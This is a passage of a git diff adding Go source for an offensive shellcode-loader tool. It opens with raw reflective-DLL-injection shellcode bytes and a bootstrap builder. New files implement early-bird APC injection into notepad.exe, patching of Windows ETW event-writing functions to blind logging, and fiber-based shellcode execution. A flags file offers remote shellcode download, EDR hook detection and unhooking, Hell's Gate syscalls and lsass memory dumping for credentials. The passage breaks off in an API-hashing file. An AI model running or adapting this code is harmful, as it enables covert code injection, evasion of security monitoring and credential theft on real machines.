0x07, 0x44, 0x8B, 0xFA, 0x33, 0xDB, 0xE8, 0xA4, 0x04, 0x00, 0x00, 0xB9, 0x49, 0xF7, 0x02, 0x78, 0x4C, 0x8B, 0xE8, 0xE8, 0x97, 0x04, 0x00, 0x00, 0xB9, 0x58, 0xA4, 0x53, 0xE5, 0x48, 0x89, 0x44, 0x24, 0x20, 0xE8, 0x88, 0x04, 0x00, 0x00, 0xB9, 0x10, 0xE1, 0x8A, 0xC3, 0x48, 0x8B, 0xF0, 0xE8, 0x7B, 0x04, 0x00, 0x00, 0xB9, 0xAF, 0xB1, 0x5C, 0x94, 0x48, 0x89, 0x44, 0x24, 0x30, 0xE8, 0x6C, 0x04, 0x00, 0x00, 0xB9, 0x33, 0x00, 0x9E, 0x95, 0x48, 0x89, 0x44, 0x24, 0x28, 0x4C, 0x8B, 0xE0, 0xE8, 0x5A, 0x04, 0x00, 0x00, 0x48, 0x63, 0x7D, 0x3C, 0x4C, 0x8B, 0xD0, 0x48, 0x03, 0xFD, 0x81, 0x3F, 0x50, 0x45, 0x00, 0x00, 0x74, 0x07, 0x33, 0xC0, 0xE9, 0x2D, 0x04, 0x00, 0x00, 0xB8, 0x64, 0x86, 0x00, 0x00, 0x66, 0x39, 0x47, 0x04, 0x75, 0xEE, 0x41, 0xBE, 0x01, 0x00, 0x00, 0x00, 0x44, 0x84, 0x77, 0x38, 0x75, 0xE2, 0x0F, 0xB7, 0x47, 0x06, 0x0F, 0xB7, 0x4F, 0x14, 0x44, 0x8B, 0x4F, 0x38, 0x85, 0xC0, 0x74, 0x2C, 0x48, 0x8D, 0x57, 0x24, 0x44, 0x8B, 0xC0, 0x48, 0x03, 0xD1, 0x8B, 0x4A, 0x04, 0x85, 0xC9, 0x75, 0x07, 0x8B, 0x02, 0x49, 0x03, 0xC1, 0xEB, 0x04, 0x8B, 0x02, 0x03, 0xC1, 0x48, 0x3B, 0xC3, 0x48, 0x0F, 0x47, 0xD8, 0x48, 0x83, 0xC2, 0x28, 0x4D, 0x2B, 0xC6, 0x75, 0xDE, 0x48, 0x8D, 0x4C, 0x24, 0x38, 0x41, 0xFF, 0xD2, 0x44, 0x8B, 0x44, 0x24, 0x3C, 0x44, 0x8B, 0x4F, 0x50, 0x41, 0x8D, 0x40, 0xFF, 0xF7, 0xD0, 0x41, 0x8D, 0x50, 0xFF, 0x41, 0x03, 0xD1, 0x49, 0x8D, 0x48, 0xFF, 0x48, 0x23, 0xD0, 0x48, 0x03, 0xCB, 0x49, 0x8D, 0x40, 0xFF, 0x48, 0xF7, 0xD0, 0x48, 0x23, 0xC8, 0x48, 0x3B, 0xD1, 0x0F, 0x85, 0x6B, 0xFF, 0xFF, 0xFF, 0x33, 0xC9, 0x41, 0x8B, 0xD1, 0x41, 0xB8, 0x00, 0x30, 0x00, 0x00, 0x44, 0x8D, 0x49, 0x04, 0xFF, 0xD6, 0x44, 0x8B, 0x47, 0x54, 0x33, 0xD2, 0x48, 0x8B, 0xF0, 0x4C, 0x8B, 0xD5, 0x48, 0x8B, 0xC8, 0x44, 0x8D, 0x5A, 0x02, 0x4D, 0x85, 0xC0, 0x74, 0x3F, 0x44, 0x8B, 0x8C, 0x24, 0xE0, 0x00, 0x00, 0x00, 0x45, 0x23, 0xCE, 0x4D, 0x2B, 0xC6, 0x45, 0x85, 0xC9, 0x74, 0x19, 0x48, 0x8B, 0xC7, 0x48, 0x2B, 0xC5, 0x48, 0x3B, 0xD0, 0x73, 0x0E, 0x48, 0x8D, 0x42, 0xC4, 0x49, 0x3B, 0xC3, 0x76, 0x05, 0xC6, 0x01, 0x00, 0xEB, 0x05, 0x41, 0x8A, 0x02, 0x88, 0x01, 0x49, 0x03, 0xD6, 0x4D, 0x03, 0xD6, 0x49, 0x03, 0xCE, 0x4D, 0x85, 0xC0, 0x75, 0xCC, 0x44, 0x0F, 0xB7, 0x57, 0x06, 0x0F, 0xB7, 0x47, 0x14, 0x4D, 0x85, 0xD2, 0x74, 0x38, 0x48, 0x8D, 0x4F, 0x2C, 0x48, 0x03, 0xC8, 0x8B, 0x51, 0xF8, 0x4D, 0x2B, 0xD6, 0x44, 0x8B, 0x01, 0x48, 0x03, 0xD6, 0x44, 0x8B, 0x49, 0xFC, 0x4C, 0x03, 0xC5, 0x4D, 0x85, 0xC9, 0x74, 0x10, 0x41, 0x8A, 0x00, 0x4D, 0x03, 0xC6, 0x88, 0x02, 0x49, 0x03, 0xD6, 0x4D, 0x2B, 0xCE, 0x75, 0xF0, 0x48, 0x83, 0xC1, 0x28, 0x4D, 0x85, 0xD2, 0x75, 0xCF, 0x8B, 0x9F, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xDE, 0x8B, 0x43, 0x0C, 0x85, 0xC0, 0x0F, 0x84, 0x8A, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x6C, 0x24, 0x20, 0x8B, 0xC8, 0x48, 0x03, 0xCE, 0x41, 0xFF, 0xD5, 0x44, 0x8B, 0x3B, 0x4C, 0x8B, 0xE0, 0x44, 0x8B, 0x73, 0x10, 0x4C, 0x03, 0xFE, 0x4C, 0x03, 0xF6, 0xEB, 0x49, 0x49, 0x83, 0x3F, 0x00, 0x7D, 0x29, 0x49, 0x63, 0x44, 0x24, 0x3C, 0x41, 0x0F, 0xB7, 0x17, 0x42, 0x8B, 0x8C, 0x20, 0x88, 0x00, 0x00, 0x00, 0x42, 0x8B, 0x44, 0x21, 0x10, 0x42, 0x8B, 0x4C, 0x21, 0x1C, 0x48, 0x2B, 0xD0, 0x49, 0x03, 0xCC, 0x8B, 0x04, 0x91, 0x49, 0x03, 0xC4, 0xEB, 0x0F, 0x49, 0x8B, 0x16, 0x49, 0x8B, 0xCC, 0x48, 0x83, 0xC2, 0x02, 0x48, 0x03, 0xD6, 0xFF, 0xD5, 0x49, 0x89, 0x06, 0x49, 0x83, 0xC6, 0x08, 0x49, 0x83, 0xC7, 0x08, 0x49, 0x83, 0x3E, 0x00, 0x75, 0xB1, 0x8B, 0x43, 0x20, 0x48, 0x83, 0xC3, 0x14, 0x85, 0xC0, 0x75, 0x8C, 0x44, 0x8B, 0xBC, 0x24, 0xC8, 0x00, 0x00, 0x00, 0x44, 0x8D, 0x70, 0x01, 0x4C, 0x8B, 0x64, 0x24, 0x28, 0x4C, 0x8B, 0xCE, 0x41, 0xBD, 0x02, 0x00, 0x00, 0x00, 0x4C, 0x2B, 0x4F, 0x30, 0x83, 0xBF, 0xB4, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x95, 0x00, 0x00, 0x00, 0x8B, 0x97, 0xB0, 0x00, 0x00, 0x00, 0x48, 0x03, 0xD6, 0x8B, 0x42, 0x04, 0x85, 0xC0, 0x0F, 0x84, 0x81, 0x00, 0x00, 0x00, 0xBB, 0xFF, 0x0F, 0x00, 0x00, 0x44, 0x8B, 0x02, 0x4C, 0x8D, 0x5A, 0x08, 0x44, 0x8B, 0xD0, 0x4C, 0x03, 0xC6, 0x49, 0x83, 0xEA, 0x08, 0x49, 0xD1, 0xEA, 0x74, 0x59, 0x41, 0x0F, 0xB7, 0x0B, 0x4D, 0x2B, 0xD6, 0x0F, 0xB7, 0xC1, 0x66, 0xC1, 0xE8, 0x0C, 0x66, 0x83, 0xF8, 0x0A, 0x75, 0x09, 0x48, 0x23, 0xCB, 0x4E, 0x01, 0x0C, 0x01, 0xEB, 0x34, 0x66, 0x83, 0xF8, 0x03, 0x75, 0x09, 0x48, 0x23, 0xCB, 0x46, 0x01, 0x0C, 0x01, 0xEB, 0x25, 0x66, 0x41, 0x3B, 0xC6, 0x75, 0x11, 0x48, 0x23, 0xCB, 0x49, 0x8B, 0xC1, 0x48, 0xC1, 0xE8, 0x10, 0x66, 0x42, 0x01, 0x04, 0x01, 0xEB, 0x0E, 0x66, 0x41, 0x3B, 0xC5, 0x75, 0x08, 0x48, 0x23, 0xCB, 0x66, 0x46, 0x01, 0x0C, 0x01, 0x4D, 0x03, 0xDD, 0x4D, 0x85, 0xD2, 0x75, 0xA7, 0x8B, 0x42, 0x04, 0x48, 0x03, 0xD0, 0x8B, 0x42, 0x04, 0x85, 0xC0, 0x75, 0x84, 0x0F, 0xB7, 0x6F, 0x06, 0x0F, 0xB7, 0x47, 0x14, 0x48, 0x85, 0xED, 0x0F, 0x84, 0xCF, 0x00, 0x00, 0x00, 0x8B, 0x9C, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x4C, 0x8D, 0x77, 0x3C, 0x4C, 0x8B, 0x6C, 0x24, 0x30, 0x4C, 0x03, 0xF0, 0x48, 0xFF, 0xCD, 0x41, 0x83, 0x7E, 0xEC, 0x00, 0x0F, 0x86, 0x9D, 0x00, 0x00, 0x00, 0x45, 0x8B, 0x06, 0x41, 0x8B, 0xD0, 0xC1, 0xEA, 0x1E, 0x41, 0x8B, 0xC0, 0x41, 0x8B, 0xC8, 0xC1, 0xE8, 0x1D, 0x83, 0xE2, 0x01, 0xC1, 0xE9, 0x1F, 0x83, 0xE0, 0x01, 0x75, 0x1E, 0x85, 0xD2, 0x75, 0x0B, 0xF7, 0xD9, 0x1B, 0xDB, 0x83, 0xE3, 0x07, 0xFF, 0xC3, 0xEB, 0x3E, 0xF7, 0xD9, 0xB8, 0x02, 0x00, 0x00, 0x00, 0x1B, 0xDB, 0x23, 0xD8, 0x03, 0xD8, 0xEB, 0x2F, 0x85, 0xD2, 0x75, 0x18, 0x85, 0xC9, 0x75, 0x05, 0x8D, 0x5A, 0x10, 0xEB, 0x22, 0x85, 0xD2, 0x75, 0x0B, 0x85, 0xC9, 0x74, 0x1A, 0xBB, 0x80, 0x00, 0x00, 0x00, 0xEB, 0x13, 0x85, 0xC9, 0x75, 0x05, 0x8D, 0x59, 0x20, 0xEB, 0x0A, 0x85, 0xC9, 0xB8, 0x40, 0x00, 0x00, 0x00, 0x0F, 0x45, 0xD8, 0x41, 0x8B, 0x4E, 0xE8, 0x4C, 0x8D, 0x8C, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x8B, 0x56, 0xEC, 0x8B, 0xC3, 0x0F, 0xBA, 0xE8, 0x09, 0x41, 0x81, 0xE0, 0x00, 0x00, 0x00, 0x04, 0x0F, 0x44, 0xC3, 0x48, 0x03, 0xCE, 0x44, 0x8B, 0xC0, 0x8B, 0xD8, 0x41, 0xFF, 0xD5, 0x85, 0xC0, 0x0F, 0x84, 0xA1, 0xFC, 0xFF, 0xFF, 0x49, 0x83, 0xC6, 0x28, 0x48, 0x85, 0xED, 0x0F, 0x85, 0x48, 0xFF, 0xFF, 0xFF, 0x44, 0x8D, 0x6D, 0x02, 0x8B, 0x5F, 0x28, 0x45, 0x33, 0xC0, 0x33, 0xD2, 0x48, 0x83, 0xC9, 0xFF, 0x48, 0x03, 0xDE, 0x41, 0xFF, 0xD4, 0xBD, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xCE, 0x44, 0x8B, 0xC5, 0x8B, 0xD5, 0xFF, 0xD3, 0x45, 0x85, 0xFF, 0x0F, 0x84, 0x97, 0x00, 0x00, 0x00, 0x83, 0xBF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x8A, 0x00, 0x00, 0x00, 0x8B, 0x97, 0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xD6, 0x44, 0x8B, 0x5A, 0x18, 0x45, 0x85, 0xDB, 0x74, 0x78, 0x83, 0x7A, 0x14, 0x00, 0x74, 0x72, 0x44, 0x8B, 0x52, 0x20, 0x33, 0xDB, 0x44, 0x8B, 0x4A, 0x24, 0x4C, 0x03, 0xD6, 0x4C, 0x03, 0xCE, 0x45, 0x85, 0xDB, 0x74, 0x5D, 0x45, 0x8B, 0x02, 0x4C, 0x03, 0xC6, 0x33, 0xC9, 0x41, 0x0F, 0xBE, 0x00, 0x4C, 0x03, 0xC5, 0xC1, 0xC9, 0x0D, 0x03, 0xC8, 0x41, 0x80, 0x78, 0xFF, 0x00, 0x75, 0xED, 0x44, 0x3B, 0xF9, 0x74, 0x10, 0x03, 0xDD, 0x49, 0x83, 0xC2, 0x04, 0x4D, 0x03, 0xCD, 0x41, 0x3B, 0xDB, 0x72, 0xD2, 0xEB, 0x2D, 0x41, 0x0F, 0xB7, 0x01, 0x83, 0xF8, 0xFF, 0x74, 0x24, 0x8B, 0x52, 0x1C, 0x48, 0x8B, 0x8C, 0x24, 0xD0, 0x00, 0x00, 0x00, 0xC1, 0xE0, 0x02, 0x48, 0x98, 0x48, 0x03, 0xC6, 0x44, 0x8B, 0x04, 0x02, 0x8B, 0x94, 0x24, 0xD8, 0x00, 0x00, 0x00, 0x4C, 0x03, 0xC6, 0x41, 0xFF, 0xD0, 0x48, 0x8B, 0xC6, 0x48, 0x83, 0xC4, 0x78, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5F, 0x5E, 0x5D, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x10, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x8B, 0xF1, 0x48, 0x8B, 0x50, 0x18, 0x4C, 0x8B, 0x4A, 0x10, 0x4D, 0x8B, 0x41, 0x30, 0x4D, 0x85, 0xC0, 0x0F, 0x84, 0xB4, 0x00, 0x00, 0x00, 0x41, 0x0F, 0x10, 0x41, 0x58, 0x49, 0x63, 0x40, 0x3C, 0x33, 0xD2, 0x4D, 0x8B, 0x09, 0xF3, 0x0F, 0x7F, 0x04, 0x24, 0x42, 0x8B, 0x9C, 0x00, 0x88, 0x00, 0x00, 0x00, 0x85, 0xDB, 0x74, 0xD4, 0x48, 0x8B, 0x04, 0x24, 0x48, 0xC1, 0xE8, 0x10, 0x44, 0x0F, 0xB7, 0xD0, 0x45, 0x85, 0xD2, 0x74, 0x21, 0x48, 0x8B, 0x4C, 0x24, 0x08, 0x45, 0x8B, 0xDA, 0x0F, 0xBE, 0x01, 0xC1, 0xCA, 0x0D, 0x80, 0x39, 0x61, 0x7C, 0x03, 0x83, 0xC2, 0xE0, 0x03, 0xD0, 0x48, 0xFF, 0xC1, 0x49, 0x83, 0xEB, 0x01, 0x75, 0xE7, 0x4D, 0x8D, 0x14, 0x18, 0x33, 0xC9, 0x41, 0x8B, 0x7A, 0x20, 0x49, 0x03, 0xF8, 0x41, 0x39, 0x4A, 0x18, 0x76, 0x8F, 0x8B, 0x1F, 0x45, 0x33, 0xDB, 0x49, 0x03, 0xD8, 0x48, 0x8D, 0x7F, 0x04, 0x0F, 0xBE, 0x03, 0x48, 0xFF, 0xC3, 0x41, 0xC1, 0xCB, 0x0D, 0x44, 0x03, 0xD8, 0x80, 0x7B, 0xFF, 0x00, 0x75, 0xED, 0x41, 0x8D, 0x04, 0x13, 0x3B, 0xC6, 0x74, 0x0D, 0xFF, 0xC1, 0x41, 0x3B, 0x4A, 0x18, 0x72, 0xD1, 0xE9, 0x5B, 0xFF, 0xFF, 0xFF, 0x41, 0x8B, 0x42, 0x24, 0x03, 0xC9, 0x49, 0x03, 0xC0, 0x0F, 0xB7, 0x14, 0x01, 0x41, 0x8B, 0x4A, 0x1C, 0x49, 0x03, 0xC8, 0x8B, 0x04, 0x91, 0x49, 0x03, 0xC0, 0xEB, 0x02, 0x33, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x20, 0x48, 0x8B, 0x74, 0x24, 0x28, 0x48, 0x83, 0xC4, 0x10, 0x5F, 0xC3} + + if userData == nil { + userData = []byte("None") + } + + var final []byte + + if is64BitDLL(dllBytes) { + // do 64 bit things + + bootstrapSize := 64 + + // call next instruction (Pushes next instruction address to stack) + bootstrap := []byte{0xe8, 0x00, 0x00, 0x00, 0x00} + + // Set the offset to our DLL from pop result + dllOffset := bootstrapSize - len(bootstrap) + len(rdiShellcode64) + + // pop rcx - Capture our current location in memory + bootstrap = append(bootstrap, 0x59) + + // mov r8, rcx - copy our location in memory to r8 before we start modifying RCX + bootstrap = append(bootstrap, 0x49, 0x89, 0xc8) + + // add rcx, + bootstrap = append(bootstrap, 0x48, 0x81, 0xc1) + + bootstrap = append(bootstrap, pack(uint32(dllOffset))...) + + // mov edx, + bootstrap = append(bootstrap, 0xba) + bootstrap = append(bootstrap, functionHash...) + + // Setup the location of our user data + // add r8, + + bootstrap = append(bootstrap, 0x49, 0x81, 0xc0) + userDataLocation := dllOffset + len(dllBytes) + bootstrap = append(bootstrap, pack(uint32(userDataLocation))...) + + // mov r9d, + bootstrap = append(bootstrap, 0x41, 0xb9) + bootstrap = append(bootstrap, pack(uint32(len(userData)))...) + + // push rsi - save original value + bootstrap = append(bootstrap, 0x56) + + // mov rsi, rsp - store our current stack pointer for later + bootstrap = append(bootstrap, 0x48, 0x89, 0xe6) + + // and rsp, 0x0FFFFFFFFFFFFFFF0 - Align the stack to 16 bytes + bootstrap = append(bootstrap, 0x48, 0x83, 0xe4, 0xf0) + + // sub rsp, 0x30 - Create some breathing room on the stack + bootstrap = append(bootstrap, 0x48, 0x83, 0xec) + bootstrap = append(bootstrap, 0x30) // 32 bytes for shadow space + 8 bytes for last arg + 8 bytes for stack alignment + + // mov dword ptr [rsp + 0x20], - Push arg 5 just above shadow space + bootstrap = append(bootstrap, 0xC7, 0x44, 0x24) + bootstrap = append(bootstrap, 0x20) + bootstrap = append(bootstrap, pack(uint32(flags))...) + + // call - Transfer execution to the RDI + bootstrap = append(bootstrap, 0xe8) + bootstrap = append(bootstrap, byte(bootstrapSize-len(bootstrap)-4)) // Skip over the remainder of instructions + bootstrap = append(bootstrap, 0x00, 0x00, 0x00) + + // mov rsp, rsi - Reset our original stack pointer + bootstrap = append(bootstrap, 0x48, 0x89, 0xf4) + + // pop rsi - Put things back where we left them + bootstrap = append(bootstrap, 0x5e) + + // ret - return to caller + bootstrap = append(bootstrap, 0xc3) + + final = append(bootstrap, rdiShellcode64...) + final = append(final, dllBytes...) + final = append(final, userData...) + + } else { + // do 32 bit things + + bootstrapSize := 45 + + // call next instruction (Pushes next instruction address to stack) + bootstrap := []byte{0xe8, 0x00, 0x00, 0x00, 0x00} + + // Set the offset to our DLL from pop result + dllOffset := bootstrapSize - len(bootstrap) + len(rdiShellcode32) + + // pop eax - Capture our current location in memory + bootstrap = append(bootstrap, 0x58) + + // mov ebx, eax - copy our location in memory to ebx before we start modifying eax + bootstrap = append(bootstrap, 0x89, 0xc3) + + // add eax, + bootstrap = append(bootstrap, 0x05) + bootstrap = append(bootstrap, pack(uint32(dllOffset))...) + + // add ebx, + + bootstrap = append(bootstrap, 0x81, 0xc3) + userDataLocation := dllOffset + len(dllBytes) + bootstrap = append(bootstrap, pack(uint32(userDataLocation))...) + + // push + bootstrap = append(bootstrap, 0x68) + bootstrap = append(bootstrap, pack(uint32(flags))...) + + // push + bootstrap = append(bootstrap, 0x68) + bootstrap = append(bootstrap, pack(uint32(len(userData)))...) + + // push ebx + bootstrap = append(bootstrap, 0x53) + + // push + bootstrap = append(bootstrap, 0x68) + bootstrap = append(bootstrap, functionHash...) + + // push eax + bootstrap = append(bootstrap, 0x50) + + // call - Transfer execution to the RDI + bootstrap = append(bootstrap, 0xe8) + bootstrap = append(bootstrap, byte(bootstrapSize-len(bootstrap)-4)) // Skip over the remainder of instructions + bootstrap = append(bootstrap, 0x00, 0x00, 0x00) + + // add esp, 0x14 - correct the stack pointer + bootstrap = append(bootstrap, 0x83, 0xc4, 0x14) + + // ret - return to caller + bootstrap = append(bootstrap, 0xc3) + + final = append(bootstrap, rdiShellcode32...) + final = append(final, dllBytes...) + final = append(final, userData...) + } + + return final +} + +// helper function similar to struct.pack from python3 +func pack(val uint32) []byte { + bytes := make([]byte, 4) + binary.LittleEndian.PutUint32(bytes, val) + return bytes +} + +func hashFunctionName(name string) (uint32) { + function := []byte(name) + function = append(function, 0x00) + + functionHash := uint32(0) + + for _, b := range function { + functionHash = ror(functionHash, 13, 32) + functionHash += uint32(b) + } + + return functionHash +} + +// ROR-13 implementation +func ror(val uint32, rBits uint32, maxBits uint32) uint32 { + exp := uint32(math.Exp2(float64(maxBits))) - 1 + return ((val & exp) >> (rBits % maxBits)) | (val << (maxBits - (rBits % maxBits)) & exp) +} + +func is64BitDLL(dllBytes []byte) bool { + machineIA64 := uint16(512) + machineAMD64 := uint16(34404) + + headerOffset := binary.LittleEndian.Uint32(dllBytes[60:64]) + machine := binary.LittleEndian.Uint16(dllBytes[headerOffset+4 : headerOffset+4+2]) + + // 64 bit + if machine == machineIA64 || machine == machineAMD64 { + return true + } + + return false +} + +func readFile(path string) ([]byte, error) { + fileBytes, err := ioutil.ReadFile(path) + if err != nil { + return nil, err + } + + return fileBytes, nil +} + +/*func WriteFile(filename string, contents []byte) error { + f, err := os.Create(filename) + if err != nil { + return err + } + defer f.Close() + + _, err = f.Write(contents) + if err != nil { + return err + } + + return nil +}*/ + + + diff --git a/core/earlybirdapc.go b/core/earlybirdapc.go new file mode 100644 index 0000000..70cd17c --- /dev/null +++ b/core/earlybirdapc.go @@ -0,0 +1,61 @@ +package core + +import ( + "unsafe" + "syscall" + "fmt" + "errors" + + // Internal + "golang.org/x/sys/windows" +) + +func EarlyBirdApc(shellcode []byte) (error){ + kernel32 := windows.NewLazySystemDLL("kernel32.dll") + VirtualAllocEx := kernel32.NewProc("VirtualAllocEx") + VirtualProtectEx := kernel32.NewProc("VirtualProtectEx") + WriteProcessMemory := kernel32.NewProc("WriteProcessMemory") + QueueUserAPC := kernel32.NewProc("QueueUserAPC") + + procInfo := &windows.ProcessInformation{} + startupInfo := &windows.StartupInfo{ + Flags: windows.CREATE_SUSPENDED, + } + + errCreateProcess := windows.CreateProcess(syscall.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"), syscall.StringToUTF16Ptr(""), nil, nil, true, windows.CREATE_SUSPENDED, nil, nil, startupInfo, procInfo) + if errCreateProcess != nil { + return errors.New(fmt.Sprintf("[!] Error calling CreateProcess: %v", errCreateProcess.Error())) + } + + addr, _, _ := VirtualAllocEx.Call(uintptr(procInfo.Process), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE) + + if addr == 0 { + return errors.New("[!] VirtualAllocEx failed and returned 0") + } + + WriteProcessMemory.Call(uintptr(procInfo.Process), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) + + oldProtect := windows.PAGE_READWRITE + VirtualProtectEx.Call(uintptr(procInfo.Process), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect))) + + QueueUserAPC.Call(addr, uintptr(procInfo.Thread), 0) + + _, errResumeThread := windows.ResumeThread(procInfo.Thread) + if errResumeThread != nil { + return errors.New(fmt.Sprintf("[!] Error calling ResumeThread: %v", errResumeThread.Error())) + } + + errCloseProcHandle := windows.CloseHandle(procInfo.Process) + if errCloseProcHandle != nil { + return errCloseProcHandle + } + + errCloseThreadHandle := windows.CloseHandle(procInfo.Thread) + if errCloseThreadHandle != nil { + return errCloseThreadHandle + } + + return nil +} + + diff --git a/core/etw.go b/core/etw.go new file mode 100644 index 0000000..be57608 --- /dev/null +++ b/core/etw.go @@ -0,0 +1,75 @@ +package core + +import ( + //"fmt" + "unsafe" + "syscall" + "encoding/hex" +) + +var ( + ntdll = syscall.NewLazyDLL("ntdll.dll") + + procWriteProcessMemory = syscall.NewLazyDLL("kernel32.dll").NewProc("WriteProcessMemory") + + procEtwEventWrite = ntdll.NewProc("EtwEventWrite") + procEtwEventWriteEx = ntdll.NewProc("EtwEventWriteEx") + procEtwEventWriteFull = ntdll.NewProc("EtwEventWriteFull") + procEtwEventWriteString = ntdll.NewProc("EtwEventWriteString") + procEtwEventWriteTransfer = ntdll.NewProc("EtwEventWriteTransfer") +) + +func PatchEtw() (error) { + handle := uintptr(0xffffffffffffffff) + + dataAddr := []uintptr{ + procEtwEventWriteFull.Addr(), + procEtwEventWrite.Addr(), + procEtwEventWriteEx.Addr(), + //procEtwEventWriteNoRegistration.Addr(), + procEtwEventWriteString.Addr(), + procEtwEventWriteTransfer.Addr(), + } + + for i, _ := range dataAddr { + + data, _ := hex.DecodeString("4833C0C3") + var nLength uintptr + datalength := len(data) + + WriteProcessMemory( + handle, + dataAddr[i], + &data[0], + uintptr(uint32(datalength)), + &nLength, + ) + + } + + return nil +} + +func WriteProcessMemory(hProcess uintptr, lpBaseAddress uintptr, lpBuffer *byte, nSize uintptr, lpNumberOfBytesWritten *uintptr) (error) { + + r1, _, e1 := syscall.Syscall6( + procWriteProcessMemory.Addr(), + 5, + uintptr(hProcess), + uintptr(lpBaseAddress), + uintptr(unsafe.Pointer(lpBuffer)), + uintptr(nSize), + uintptr(unsafe.Pointer(lpNumberOfBytesWritten)), + 0, + ) + + if r1 == 0 { + if e1 == 0 { + return e1 + } + } + + return nil +} + + diff --git a/core/fibers.go b/core/fibers.go new file mode 100644 index 0000000..dcd74a3 --- /dev/null +++ b/core/fibers.go @@ -0,0 +1,80 @@ +package core + +/* + +References: +https://ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-createfiber +https://github.com/Ne0nd0g/go-shellcode/blob/master/cmd/CreateFiber/main.go + +*/ + +import ( + "unsafe" + "errors" + "fmt" + + "golang.org/x/sys/windows" +) + +const ( + // MEM_COMMIT is a Windows constant used with Windows API calls + MEM_COMMIT = 0x1000 + + // MEM_RESERVE is a Windows constant used with Windows API calls + MEM_RESERVE = 0x2000 + + // PAGE_EXECUTE_READ is a Windows constant used with Windows API calls + PAGE_EXECUTE_READ = 0x20 + + // PAGE_READWRITE is a Windows constant used with Windows API calls + PAGE_READWRITE = 0x04 +) + +func Fibers(shellcode []byte) (error) { + + kernel32 := windows.NewLazySystemDLL("kernel32.dll") + ntdll := windows.NewLazySystemDLL("ntdll.dll") + + VirtualAlloc := kernel32.NewProc("VirtualAlloc") + VirtualProtect := kernel32.NewProc("VirtualProtect") + RtlCopyMemory := ntdll.NewProc("RtlCopyMemory") + ConvertThreadToFiber := kernel32.NewProc("ConvertThreadToFiber") + CreateFiber := kernel32.NewProc("CreateFiber") + SwitchToFiber := kernel32.NewProc("SwitchToFiber") + + fiberAddr, _, _ := ConvertThreadToFiber.Call() // Convert thread to fiber + + // Allocate shellcode + addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE) + + if addr == 0 { + return errors.New("VirtualAlloc failed and returned 0") + } + + // Copy shellcode to memory + RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) + + oldProtect := PAGE_READWRITE + // Change memory region to PAGE_EXECUTE_READ + VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect))) + + // Create fiber + fiber, _, _ := CreateFiber.Call(0, addr, 0) + + _, _, errSwitchToFiber := SwitchToFiber.Call(fiber) + if errSwitchToFiber != nil { + fmt.Println("errSwitchToFiber", errSwitchToFiber.Error()) + } + + _, _, errSwitchToFiber2 := SwitchToFiber.Call(fiberAddr) + if errSwitchToFiber2 != nil { + fmt.Println("errSwitchToFiber2", errSwitchToFiber2.Error()) + } + + return nil +} + + + + + diff --git a/core/flags.go b/core/flags.go new file mode 100644 index 0000000..638cdc2 --- /dev/null +++ b/core/flags.go @@ -0,0 +1,42 @@ +package core + +/* + +This package returns CLI flags with customizble options + +*/ + +import ( + "flag" +) + +func ParseFlags() (string, string, string, string, bool, bool, bool, bool, bool, bool, string) { + var sc_url string + var sc_file string + var dll_file string + var technique string + var hook_detect bool + var hells bool + var unhook bool + var base64_flag bool + var hex_flag bool + var test_flag bool + var lsass_flag string + + flag.StringVar(&sc_url, "url", "", "remote shellcode url (e.g. http://192.168.1.37/shellcode.bin)") + flag.StringVar(&sc_file, "file", "", "path to file where shellcode is stored") + flag.StringVar(&dll_file, "dll", "", "path to DLL you want to inject with function name sepparated by comma (i.e. evil.dll,xyz)") + flag.StringVar(&technique, "t", "", "shellcode injection technique: CreateRemoteThread, Fibers, OpenProcess, EarlyBirdApc (by default: random)") + flag.BoolVar(&hook_detect, "hooks", false, "dinamically detect hooked functions by EDR") + flag.BoolVar(&hells, "hells", false, "enable Hell's Gate technique to try to evade possible EDRs") + flag.BoolVar(&unhook, "unhook", false, "overwrite syscall memory address to bypass EDR (if no function is hooked it doesn't do nothing)") + flag.BoolVar(&base64_flag, "b64", false, "decode base64 encoded shellcode") + flag.BoolVar(&hex_flag, "hex", false, "decode hex encoded shellcode") + flag.BoolVar(&test_flag, "test", false, "test shellcode injection capabilities by spawning a calc.exe") + flag.StringVar(&lsass_flag, "lsass", "", "dump lsass.exe process memory into a file to extract credentials (run as admin)") + flag.Parse() + + return sc_url, sc_file, dll_file, technique, hook_detect, hells, unhook, base64_flag, hex_flag, test_flag, lsass_flag // Return all param values +} + + diff --git a/core/hashing.go b/core/hashing.go new file mode 100644 index 0000000..2c885ba --- /dev/null +++ b/core/hashing.go @@ -0,0 +1,46 @@ +package core + +/* + +References: +https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware + +*/ + +import ( + "errors" + + "golang.org/x/sys/windows" + + // Third-party + "github.com/Binject/debug/pe" +) + +// Check if hash is a valid function and return its proc +func FuncFromHash(hash string, dll string) (*windows.LazyProc, string, error) { + dll_pe, err := pe.Open(dll) // Open and parse dll as a PE + if err != nil { + return new(windows.LazyProc), "", err + } + defer dll_pe.Close() + + exports, err := dll_pe.Exports() // Get exported functions + if err != nil { + return new(windows.LazyProc), 